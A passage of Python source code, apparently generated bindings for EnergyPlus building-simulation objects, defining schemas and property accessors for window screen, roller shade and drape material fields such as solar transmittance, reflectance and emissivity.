'pyname': u'angle_of_resolution_for_screen_transmittance_output_map', 'default': 0, 'required-field': False, 'autosizable': False, 'accepted-values': [0, 1, 2, 3, 5], 'autocalculatable': False, 'type': 'integer', 'unit': u'deg'})]), 'format': None, 'group': u'Surface Construction Elements', 'min-fields': 9, 'name': u'WindowMaterial:Screen', 'pyname': u'WindowMaterialScreen', 'required-object': False, 'unique-object': False} @property def name(self): """field `Name` | Enter a unique name for this window screen material. Args: value (str): value for IDD Field `Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `name` or None if not set """ return self["Name"] @name.setter def name(self, value=None): """Corresponds to IDD field `Name`""" self["Name"] = value @property def reflected_beam_transmittance_accounting_method(self): """field `Reflected Beam Transmittance Accounting Method` | Select the method used to account for the beam solar reflected off the material surface. | Default value: ModelAsDiffuse Args: value (str): value for IDD Field `Reflected Beam Transmittance Accounting Method` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `reflected_beam_transmittance_accounting_method` or None if not set """ return self["Reflected Beam Transmittance Accounting Method"] @reflected_beam_transmittance_accounting_method.setter def reflected_beam_transmittance_accounting_method( self, value="ModelAsDiffuse"): """Corresponds to IDD field `Reflected Beam Transmittance Accounting Method`""" self["Reflected Beam Transmittance Accounting Method"] = value @property def diffuse_solar_reflectance(self): """field `Diffuse Solar Reflectance` | Diffuse reflectance of the screen material over the entire solar radiation spectrum. | Assumed to be the same for both sides of the screen. | Units: dimensionless | value < 1.0 Args: value (float): value for IDD Field `Diffuse Solar Reflectance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `diffuse_solar_reflectance` or None if not set """ return self["Diffuse Solar Reflectance"] @diffuse_solar_reflectance.setter def diffuse_solar_reflectance(self, value=None): """Corresponds to IDD field `Diffuse Solar Reflectance`""" self["Diffuse Solar Reflectance"] = value @property def diffuse_visible_reflectance(self): """field `Diffuse Visible Reflectance` | Diffuse visible reflectance of the screen material averaged over the solar spectrum | and weighted by the response of the human eye. | Assumed to be the same for both sides of the screen. | Units: dimensionless | value < 1.0 Args: value (float): value for IDD Field `Diffuse Visible Reflectance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `diffuse_visible_reflectance` or None if not set """ return self["Diffuse Visible Reflectance"] @diffuse_visible_reflectance.setter def diffuse_visible_reflectance(self, value=None): """Corresponds to IDD field `Diffuse Visible Reflectance`""" self["Diffuse Visible Reflectance"] = value @property def thermal_hemispherical_emissivity(self): """field `Thermal Hemispherical Emissivity` | Long-wave emissivity of the screen material. | Assumed to be the same for both sides of the screen. | Units: dimensionless | Default value: 0.9 | value < 1.0 Args: value (float): value for IDD Field `Thermal Hemispherical Emissivity` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `thermal_hemispherical_emissivity` or None if not set """ return self["Thermal Hemispherical Emissivity"] @thermal_hemispherical_emissivity.setter def thermal_hemispherical_emissivity(self, value=0.9): """Corresponds to IDD field `Thermal Hemispherical Emissivity`""" self["Thermal Hemispherical Emissivity"] = value @property def conductivity(self): """field `Conductivity` | Thermal conductivity of the screen material. | Default is for aluminum. | Units: W/m-K | Default value: 221.0 Args: value (float): value for IDD Field `Conductivity` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `conductivity` or None if not set """ return self["Conductivity"] @conductivity.setter def conductivity(self, value=221.0): """Corresponds to IDD field `Conductivity`""" self["Conductivity"] = value @property def screen_material_spacing(self): """field `Screen Material Spacing` | Spacing assumed to be the same in both directions. | Units: m | IP-Units: in Args: value (float): value for IDD Field `Screen Material Spacing` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `screen_material_spacing` or None if not set """ return self["Screen Material Spacing"] @screen_material_spacing.setter def screen_material_spacing(self, value=None): """Corresponds to IDD field `Screen Material Spacing`""" self["Screen Material Spacing"] = value @property def screen_material_diameter(self): """field `Screen Material Diameter` | Diameter assumed to be the same in both directions. | Units: m | IP-Units: in Args: value (float): value for IDD Field `Screen Material Diameter` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `screen_material_diameter` or None if not set """ return self["Screen Material Diameter"] @screen_material_diameter.setter def screen_material_diameter(self, value=None): """Corresponds to IDD field `Screen Material Diameter`""" self["Screen Material Diameter"] = value @property def screen_to_glass_distance(self): """field `Screen to Glass Distance` | Distance from the window screen to the adjacent glass surface. | Units: m | IP-Units: in | Default value: 0.025 | value >= 0.001 | value <= 1.0 Args: value (float): value for IDD Field `Screen to Glass Distance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `screen_to_glass_distance` or None if not set """ return self["Screen to Glass Distance"] @screen_to_glass_distance.setter def screen_to_glass_distance(self, value=0.025): """Corresponds to IDD field `Screen to Glass Distance`""" self["Screen to Glass Distance"] = value @property def top_opening_multiplier(self): """field `Top Opening Multiplier` | Effective area for air flow at the top of the screen divided by the perpendicular | area between the glass and the top of the screen. | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Top Opening Multiplier` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `top_opening_multiplier` or None if not set """ return self["Top Opening Multiplier"] @top_opening_multiplier.setter def top_opening_multiplier(self, value=None): """Corresponds to IDD field `Top Opening Multiplier`""" self["Top Opening Multiplier"] = value @property def bottom_opening_multiplier(self): """field `Bottom Opening Multiplier` | Effective area for air flow at the bottom of the screen divided by the perpendicular | area between the glass and the bottom of the screen. | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Bottom Opening Multiplier` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `bottom_opening_multiplier` or None if not set """ return self["Bottom Opening Multiplier"] @bottom_opening_multiplier.setter def bottom_opening_multiplier(self, value=None): """Corresponds to IDD field `Bottom Opening Multiplier`""" self["Bottom Opening Multiplier"] = value @property def left_side_opening_multiplier(self): """field `Left Side Opening Multiplier` | Effective area for air flow at the left side of the screen divided by the perpendicular | area between the glass and the left side of the screen. | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Left Side Opening Multiplier` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `left_side_opening_multiplier` or None if not set """ return self["Left Side Opening Multiplier"] @left_side_opening_multiplier.setter def left_side_opening_multiplier(self, value=None): """Corresponds to IDD field `Left Side Opening Multiplier`""" self["Left Side Opening Multiplier"] = value @property def right_side_opening_multiplier(self): """field `Right Side Opening Multiplier` | Effective area for air flow at the right side of the screen divided by the perpendicular | area between the glass and the right side of the screen. | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Right Side Opening Multiplier` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `right_side_opening_multiplier` or None if not set """ return self["Right Side Opening Multiplier"] @right_side_opening_multiplier.setter def right_side_opening_multiplier(self, value=None): """Corresponds to IDD field `Right Side Opening Multiplier`""" self["Right Side Opening Multiplier"] = value @property def angle_of_resolution_for_screen_transmittance_output_map(self): """field `Angle of Resolution for Screen Transmittance Output Map` | Select the resolution of azimuth and altitude angles for the screen transmittance map. | A value of 0 means no transmittance map will be generated. | Valid values for this field are 0, 1, 2, 3 and 5. | Units: deg Args: value (int): value for IDD Field `Angle of Resolution for Screen Transmittance Output Map` Raises: ValueError: if `value` is not a valid value Returns: int: the value of `angle_of_resolution_for_screen_transmittance_output_map` or None if not set """ return self["Angle of Resolution for Screen Transmittance Output Map"] @angle_of_resolution_for_screen_transmittance_output_map.setter def angle_of_resolution_for_screen_transmittance_output_map( self, value=None): """Corresponds to IDD field `Angle of Resolution for Screen Transmittance Output Map`""" self["Angle of Resolution for Screen Transmittance Output Map"] = value class WindowMaterialShadeEquivalentLayer(DataObject): """ Corresponds to IDD object `WindowMaterial:Shade:EquivalentLayer` Specifies the properties of equivalent layer window shade material Shades are considered to be perfect diffusers (all transmitted and reflected radiation is hemispherically-diffuse) independent of angle of incidence. Shade represents roller blinds. """ _schema = {'extensible-fields': OrderedDict(), 'fields': OrderedDict([(u'name', {'name': u'Name', 'pyname': u'name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'alpha'}), (u'shade beam-beam solar transmittance', {'name': u'Shade Beam-Beam Solar Transmittance', 'pyname': u'shade_beambeam_solar_transmittance', 'default': 0.0, 'maximum': 0.8, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'front side shade beam-diffuse solar transmittance', {'name': u'Front Side Shade Beam-Diffuse Solar Transmittance', 'pyname': u'front_side_shade_beamdiffuse_solar_transmittance', 'maximum<': 1.0, 'required-field': True, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'back side shade beam-diffuse solar transmittance', {'name': u'Back Side Shade Beam-Diffuse Solar Transmittance', 'pyname': u'back_side_shade_beamdiffuse_solar_transmittance', 'maximum<': 1.0, 'required-field': True, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'front side shade beam-diffuse solar reflectance', {'name': u'Front Side Shade Beam-Diffuse Solar Reflectance', 'pyname': u'front_side_shade_beamdiffuse_solar_reflectance', 'maximum<': 1.0, 'required-field': True, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'back side shade beam-diffuse solar reflectance', {'name': u'Back Side Shade Beam-Diffuse Solar Reflectance', 'pyname': u'back_side_shade_beamdiffuse_solar_reflectance', 'maximum<': 1.0, 'required-field': True, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'shade beam-beam visible transmittance at normal incidence', {'name': u'Shade Beam-Beam Visible Transmittance at Normal Incidence', 'pyname': u'shade_beambeam_visible_transmittance_at_normal_incidence', 'maximum<': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'shade beam-diffuse visible transmittance at normal incidence', {'name': u'Shade Beam-Diffuse Visible Transmittance at Normal Incidence', 'pyname': u'shade_beamdiffuse_visible_transmittance_at_normal_incidence', 'maximum<': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'shade beam-diffuse visible reflectance at normal incidence', {'name': u'Shade Beam-Diffuse Visible Reflectance at Normal Incidence', 'pyname': u'shade_beamdiffuse_visible_reflectance_at_normal_incidence', 'maximum<': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'shade material infrared transmittance', {'name': u'Shade Material Infrared Transmittance', 'pyname': u'shade_material_infrared_transmittance', 'default': 0.05, 'maximum<': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'front side shade material infrared emissivity', {'name': u'Front Side Shade Material Infrared Emissivity', 'pyname': u'front_side_shade_material_infrared_emissivity', 'default': 0.91, 'minimum>': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'maximum<': 1.0, 'unit': u'dimensionless'}), (u'back side shade material infrared emissivity', {'name': u'Back Side Shade Material Infrared Emissivity', 'pyname': u'back_side_shade_material_infrared_emissivity', 'default': 0.91, 'minimum>': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'maximum<': 1.0, 'unit': u'dimensionless'})]), 'format': None, 'group': u'Surface Construction Elements', 'min-fields': 6, 'name': u'WindowMaterial:Shade:EquivalentLayer', 'pyname': u'WindowMaterialShadeEquivalentLayer', 'required-object': False, 'unique-object': False} @property def name(self): """field `Name` Args: value (str): value for IDD Field `Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `name` or None if not set """ return self["Name"] @name.setter def name(self, value=None): """Corresponds to IDD field `Name`""" self["Name"] = value @property def shade_beambeam_solar_transmittance(self): """field `Shade Beam-Beam Solar Transmittance` | The beam-beam solar transmittance at normal incidence. This value is | the same as the openness area fraction of the shade material. Assumed | to be the same for front and back sides. | Units: dimensionless | value <= 0.8 Args: value (float): value for IDD Field `Shade Beam-Beam Solar Transmittance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `shade_beambeam_solar_transmittance` or None if not set """ return self["Shade Beam-Beam Solar Transmittance"] @shade_beambeam_solar_transmittance.setter def shade_beambeam_solar_transmittance(self, value=None): """ Corresponds to IDD field `Shade Beam-Beam Solar Transmittance` """ self["Shade Beam-Beam Solar Transmittance"] = value @property def front_side_shade_beamdiffuse_solar_transmittance(self): """field `Front Side Shade Beam-Diffuse Solar Transmittance` | The front side beam-diffuse solar transmittance at normal incidence averaged | over the entire spectrum of solar radiation. | Units: dimensionless | value < 1.0 Args: value (float): value for IDD Field `Front Side Shade Beam-Diffuse Solar Transmittance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `front_side_shade_beamdiffuse_solar_transmittance` or None if not set """ return self["Front Side Shade Beam-Diffuse Solar Transmittance"] @front_side_shade_beamdiffuse_solar_transmittance.setter def front_side_shade_beamdiffuse_solar_transmittance(self, value=None): """ Corresponds to IDD field `Front Side Shade Beam-Diffuse Solar Transmittance` """ self["Front Side Shade Beam-Diffuse Solar Transmittance"] = value @property def back_side_shade_beamdiffuse_solar_transmittance(self): """field `Back Side Shade Beam-Diffuse Solar Transmittance` | The back side beam-diffuse solar transmittance at normal incidence averaged | over the entire spectrum of solar radiation. | Units: dimensionless | value < 1.0 Args: value (float): value for IDD Field `Back Side Shade Beam-Diffuse Solar Transmittance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `back_side_shade_beamdiffuse_solar_transmittance` or None if not set """ return self["Back Side Shade Beam-Diffuse Solar Transmittance"] @back_side_shade_beamdiffuse_solar_transmittance.setter def back_side_shade_beamdiffuse_solar_transmittance(self, value=None): """ Corresponds to IDD field `Back Side Shade Beam-Diffuse Solar Transmittance` """ self["Back Side Shade Beam-Diffuse Solar Transmittance"] = value @property def front_side_shade_beamdiffuse_solar_reflectance(self): """field `Front Side Shade Beam-Diffuse Solar Reflectance` | The front side beam-diffuse solar reflectance at normal incidence averaged | over the entire spectrum of solar radiation. | Units: dimensionless | value < 1.0 Args: value (float): value for IDD Field `Front Side Shade Beam-Diffuse Solar Reflectance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `front_side_shade_beamdiffuse_solar_reflectance` or None if not set """ return self["Front Side Shade Beam-Diffuse Solar Reflectance"] @front_side_shade_beamdiffuse_solar_reflectance.setter def front_side_shade_beamdiffuse_solar_reflectance(self, value=None): """ Corresponds to IDD field `Front Side Shade Beam-Diffuse Solar Reflectance` """ self["Front Side Shade Beam-Diffuse Solar Reflectance"] = value @property def back_side_shade_beamdiffuse_solar_reflectance(self): """field `Back Side Shade Beam-Diffuse Solar Reflectance` | The back side beam-diffuse solar reflectance at normal incidence averaged | over the entire spectrum of solar radiation. | Units: dimensionless | value < 1.0 Args: value (float): value for IDD Field `Back Side Shade Beam-Diffuse Solar Reflectance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `back_side_shade_beamdiffuse_solar_reflectance` or None if not set """ return self["Back Side Shade Beam-Diffuse Solar Reflectance"] @back_side_shade_beamdiffuse_solar_reflectance.setter def back_side_shade_beamdiffuse_solar_reflectance(self, value=None): """ Corresponds to IDD field `Back Side Shade Beam-Diffuse Solar Reflectance` """ self["Back Side Shade Beam-Diffuse Solar Reflectance"] = value @property def shade_beambeam_visible_transmittance_at_normal_incidence(self): """field `Shade Beam-Beam Visible Transmittance at Normal Incidence` | The beam-beam visible transmittance at normal incidence averaged over the | visible spectrum range of solar radiation. Assumed to be the same for | front and back sides of the shade. | Units: dimensionless | value < 1.0 Args: value (float): value for IDD Field `Shade Beam-Beam Visible Transmittance at Normal Incidence` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `shade_beambeam_visible_transmittance_at_normal_incidence` or None if not set """ return self[ "Shade Beam-Beam Visible Transmittance at Normal Incidence"] @shade_beambeam_visible_transmittance_at_normal_incidence.setter def shade_beambeam_visible_transmittance_at_normal_incidence( self, value=None): """ Corresponds to IDD field `Shade Beam-Beam Visible Transmittance at Normal Incidence` """ self[ "Shade Beam-Beam Visible Transmittance at Normal Incidence"] = value @property def shade_beamdiffuse_visible_transmittance_at_normal_incidence(self): """field `Shade Beam-Diffuse Visible Transmittance at Normal Incidence` | The beam-diffuse visible transmittance at normal incidence averaged over the | visible spectrum range of solar radiation. Assumed to be the same for | front and back sides of the shade. | Units: dimensionless | value < 1.0 Args: value (float): value for IDD Field `Shade Beam-Diffuse Visible Transmittance at Normal Incidence` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `shade_beamdiffuse_visible_transmittance_at_normal_incidence` or None if not set """ return self[ "Shade Beam-Diffuse Visible Transmittance at Normal Incidence"] @shade_beamdiffuse_visible_transmittance_at_normal_incidence.setter def shade_beamdiffuse_visible_transmittance_at_normal_incidence( self, value=None): """ Corresponds to IDD field `Shade Beam-Diffuse Visible Transmittance at Normal Incidence` """ self[ "Shade Beam-Diffuse Visible Transmittance at Normal Incidence"] = value @property def shade_beamdiffuse_visible_reflectance_at_normal_incidence(self): """field `Shade Beam-Diffuse Visible Reflectance at Normal Incidence` | The beam-diffuse visible reflectance at normal incidence averaged over the | visible spectrum range of solar radiation. Assumed to be the same for | front and back sides of the shade. | Units: dimensionless | value < 1.0 Args: value (float): value for IDD Field `Shade Beam-Diffuse Visible Reflectance at Normal Incidence` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `shade_beamdiffuse_visible_reflectance_at_normal_incidence` or None if not set """ return self[ "Shade Beam-Diffuse Visible Reflectance at Normal Incidence"] @shade_beamdiffuse_visible_reflectance_at_normal_incidence.setter def shade_beamdiffuse_visible_reflectance_at_normal_incidence( self, value=None): """ Corresponds to IDD field `Shade Beam-Diffuse Visible Reflectance at Normal Incidence` """ self[ "Shade Beam-Diffuse Visible Reflectance at Normal Incidence"] = value @property def shade_material_infrared_transmittance(self): """field `Shade Material Infrared Transmittance` | The long-wave transmittance of the shade material at zero shade openness. | Assumed to be the same for front and back sides of the shade. | Units: dimensionless | Default value: 0.05 | value < 1.0 Args: value (float): value for IDD Field `Shade Material Infrared Transmittance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `shade_material_infrared_transmittance` or None if not set """ return self["Shade Material Infrared Transmittance"] @shade_material_infrared_transmittance.setter def shade_material_infrared_transmittance(self, value=0.05): """Corresponds to IDD field `Shade Material Infrared Transmittance`""" self["Shade Material Infrared Transmittance"] = value @property def front_side_shade_material_infrared_emissivity(self): """field `Front Side Shade Material Infrared Emissivity` | The front side long-wave emissivity of the shade material at zero shade | openness. Openness fraction is used to calculate the effective emissivity | value. | Units: dimensionless | Default value: 0.91 | value < 1.0 Args: value (float): value for IDD Field `Front Side Shade Material Infrared Emissivity` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `front_side_shade_material_infrared_emissivity` or None if not set """ return self["Front Side Shade Material Infrared Emissivity"] @front_side_shade_material_infrared_emissivity.setter def front_side_shade_material_infrared_emissivity(self, value=0.91): """Corresponds to IDD field `Front Side Shade Material Infrared Emissivity`""" self["Front Side Shade Material Infrared Emissivity"] = value @property def back_side_shade_material_infrared_emissivity(self): """field `Back Side Shade Material Infrared Emissivity` | The back side long-wave emissivity of the shade material at zero shade | openness. Openness fraction is used to calculate the effective emissivity | value. | Units: dimensionless | Default value: 0.91 | value < 1.0 Args: value (float): value for IDD Field `Back Side Shade Material Infrared Emissivity` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `back_side_shade_material_infrared_emissivity` or None if not set """ return self["Back Side Shade Material Infrared Emissivity"] @back_side_shade_material_infrared_emissivity.setter def back_side_shade_material_infrared_emissivity(self, value=0.91): """Corresponds to IDD field `Back Side Shade Material Infrared Emissivity`""" self["Back Side Shade Material Infrared Emissivity"] = value class WindowMaterialDrapeEquivalentLayer(DataObject): """ Corresponds to IDD object `WindowMaterial:Drape:EquivalentLayer` Specifies the properties of equivalent layer drape fabric materials. Shades are considered to be perfect diffusers (all transmitted and reflected radiation is hemispherically-diffuse) independent of angle of incidence. unpleated drape fabric is treated as thin and flat layer. """ _schema = {'extensible-fields': OrderedDict(), 'fields': OrderedDict([(u'name', {'name': u'Name', 'pyname': u'name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'alpha'}), (u'drape beam-beam solar transmittance at normal incidence', {'name': u'Drape Beam-Beam Solar Transmittance at Normal Incidence', 'pyname': u'drape_beambeam_solar_transmittance_at_normal_incidence', 'default': 0.0, 'maximum': 0.2, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'front side drape beam-diffuse solar transmittance', {'name': u'Front Side Drape Beam-Diffuse Solar Transmittance', 'pyname': u'front_side_drape_beamdiffuse_solar_transmittance', 'maximum<': 1.0, 'required-field': True, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'back side drape beam-diffuse solar transmittance', {'name': u'Back Side Drape Beam-Diffuse Solar Transmittance', 'pyname': u'back_side_drape_beamdiffuse_solar_transmittance', 'maximum<': 1.0, 'required-field': True, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'front side drape beam-diffuse solar reflectance', {'name': u'Front Side Drape Beam-Diffuse Solar Reflectance', 'pyname': u'front_side_drape_beamdiffuse_solar_reflectance', 'maximum<': 1.0, 'required-field': True, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'back side drape beam-diffuse solar reflectance', {'name': u'Back Side Drape Beam-Diffuse Solar Reflectance', 'pyname': u'back_side_drape_beamdiffuse_solar_reflectance', 'maximum<': 1.0, 'required-field': True, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'drape beam-beam visible transmittance', {'name': u'Drape Beam-Beam Visible Transmittance', 'pyname': u'drape_beambeam_visible_transmittance', 'maximum<': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'drape beam-diffuse visible transmittance', {'name': u'Drape Beam-Diffuse Visible Transmittance', 'pyname': u'drape_beamdiffuse_visible_transmittance', 'maximum<': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'drape beam-diffuse visible reflectance', {'name': u'Drape Beam-Diffuse Visible Reflectance', 'pyname': u'drape_beamdiffuse_visible_reflectance', 'maximum<': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'drape material infrared transmittance', {'name': u'Drape Material Infrared Transmittance', 'pyname': u'drape_material_infrared_transmittance', 'default': 0.05, 'maximum<': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'front side drape material infrared emissivity', {'name': u'Front Side Drape Material Infrared Emissivity', 'pyname': u'front_side_drape_material_infrared_emissivity', 'default': 0.87, 'minimum>': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'maximum<': 1.0, 'unit': u'dimensionless'}), (u'back side drape material infrared emissivity', {'name': u'Back Side Drape Material Infrared Emissivity', 'pyname': u'back_side_drape_material_infrared_emissivity', 'default': 0.87, 'minimum>': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'maximum<': 1.0, 'unit': u'dimensionless'}), (u'width of pleated fabric', {'name': u'Width of Pleated Fabric', 'pyname': u'width_of_pleated_fabric', 'default': 0.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'm'}), (u'length of pleated fabric', {'name': u'Length of Pleated Fabric', 'pyname': u'length_of_pleated_fabric', 'default': 0.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'm'})]), 'format': None, 'group': u'Surface Construction Elements', 'min-fields': 4, 'name': u'WindowMaterial:Drape:EquivalentLayer', 'pyname': u'WindowMaterialDrapeEquivalentLayer', 'required-object': False, 'unique-object': False} @property def name(self): """field `Name` Args: value (str): value for IDD Field `Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `name` or None if not set """ return self["Name"] @name.setter def name(self, value=None): """Corresponds to IDD field `Name`""" self["Name"] = value @property def drape_beambeam_solar_transmittance_at_normal_incidence(self): """field `Drape Beam-Beam Solar Transmittance at Normal Incidence` | The beam-beam solar transmittance at normal incidence. This value is the | same as the openness area fraction of the drape fabric. Assumed to be | same for front and back sides. | Units: dimensionless | value <= 0.2 Args: value (float): value for IDD Field `Drape Beam-Beam Solar Transmittance at Normal Incidence` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `drape_beambeam_solar_transmittance_at_normal_incidence` or None if not set """ return self["Drape Beam-Beam Solar Transmittance at Normal Incidence"] @drape_beambeam_solar_transmittance_at_normal_incidence.setter def drape_beambeam_solar_transmittance_at_normal_incidence( self, value=None): """ Corresponds to IDD field `Drape Beam-Beam Solar Transmittance at Normal Incidence` """ self["Drape Beam-Beam Solar Transmittance at Normal Incidence"] = value @property def front_side_drape_beamdiffuse_solar_transmittance(self): """field `Front Side Drape Beam-Diffuse Solar Transmittance` | The front side beam-diffuse solar transmittance at normal incidence averaged | over the entire spectrum of solar radiation. Assumed to be the same for front | and back sides. | Units: dimensionless | value < 1.0 Args: value (float): value for IDD Field `Front Side Drape Beam-Diffuse Solar Transmittance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `front_side_drape_beamdiffuse_solar_transmittance` or None if not set """ return self["Front Side Drape Beam-Diffuse Solar Transmittance"] @front_side_drape_beamdiffuse_solar_transmittance.setter def front_side_drape_beamdiffuse_solar_transmittance(self, value=None): """ Corresponds to IDD field `Front Side Drape Beam-Diffuse Solar Transmittance` """ self["Front Side Drape Beam-Diffuse Solar Transmittance"] = value @property def back_side_drape_beamdiffuse_solar_transmittance(self): """field `Back Side Drape Beam-Diffuse Solar Transmittance` | The back side beam-diffuse solar transmittance at normal incidence averaged | over the entire spectrum of solar radiation. Assumed to be the same for front | and back sides. | Units: dimensionless | value < 1.0 Args: value (float): value for IDD Field `Back Side Drape Beam-Diffuse Solar Transmittance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `back_side_drape_beamdiffuse_solar_transmittance` or None if not set """ return self["Back Side Drape Beam-Diffuse Solar Transmittance"] @back_side_drape_beamdiffuse_solar_transmittance.setter def back_side_drape_beamdiffuse_solar_transmittance(self, value=None): """ Corresponds to IDD field `Back Side Drape Beam-Diffuse Solar Transmittance` """ self["Back Side Drape Beam-Diffuse Solar Transmittance"] = value @property def front_side_drape_beamdiffuse_solar_reflectance(self): """field `Front Side Drape Beam-Diffuse Solar Reflectance` | The front side beam-diffuse solar reflectance at normal incidence averaged | over the entire spectrum of solar radiation. | Units: dimensionless | value < 1.0 Args: value (float): value for IDD Field `Front Side Drape Beam-Diffuse Solar Reflectance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `front_side_drape_beamdiffuse_solar_reflectance` or None if not set """ return self["Front Side Drape Beam-Diffuse Solar Reflectance"] @front_side_drape_beamdiffuse_solar_reflectance.setter def front_side_drape_beamdiffuse_solar_reflectance(self, value=None): """ Corresponds to IDD field `Front Side Drape Beam-Diffuse Solar Reflectance` """ self["Front Side Drape Beam-Diffuse Solar Reflectance"] = value @property def back_side_drape_beamdiffuse_solar_reflectance(self): """field `Back Side Drape Beam-Diffuse Solar Reflectance` | The back side beam-diffuse solar reflectance at normal incidence averaged | over the entire spectrum of solar radiation. | Units: dimensionless | value < 1.0 Args: value (float): value for IDD Field `Back Side Drape Beam-Diffuse Solar Reflectance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `back_side_drape_beamdiffuse_solar_reflectance` or None if not set """ return self["Back Side Drape Beam-Diffuse Solar Reflectance"] @back_side_drape_beamdiffuse_solar_reflectance.setter def back_side_drape_beamdiffuse_solar_reflectance(self, value=None): """ Corresponds to IDD field `Back Side Drape Beam-Diffuse Solar Reflectance` """ self["Back Side Drape Beam-Diffuse Solar Reflectance"] = value @property def drape_beambeam_visible_transmittance(self): """field `Drape Beam-Beam Visible Transmittance` | The beam-beam visible transmittance at normal incidence averaged over the | visible spectrum of solar radiation. Assumed same for front and back sides. | Units: dimensionless | value < 1.0 Args: value (float): value for IDD Field `Drape Beam-Beam Visible Transmittance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `drape_beambeam_visible_transmittance` or None if not set """ return self["Drape Beam-Beam Visible Transmittance"] @drape_beambeam_visible_transmittance.setter def drape_beambeam_visible_transmittance(self, value=None): """ Corresponds to IDD field `Drape Beam-Beam Visible Transmittance` """ self["Drape Beam-Beam Visible Transmittance"] = value @property def drape_beamdiffuse_visible_transmittance(self): """field `Drape Beam-Diffuse Visible Transmittance` | The beam-diffuse visible transmittance at normal incidence averaged over the | visible spectrum range of solar radiation. Assumed to be the same for front | and back sides. | Units: dimensionless | value < 1.0 Args: value (float): value for IDD Field `Drape Beam-Diffuse Visible Transmittance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `drape_beamdiffuse_visible_transmittance` or None if not set """ return self["Drape Beam-Diffuse Visible Transmittance"] @drape_beamdiffuse_visible_transmittance.setter def drape_beamdiffuse_visible_transmittance(self, value=None): """ Corresponds to IDD field `Drape Beam-Diffuse Visible Transmittance` """ self["Drape Beam-Diffuse Visible Transmittance"] = value @property def drape_beamdiffuse_visible_reflectance(self): """field `Drape Beam-Diffuse Visible Reflectance` | The beam-diffuse 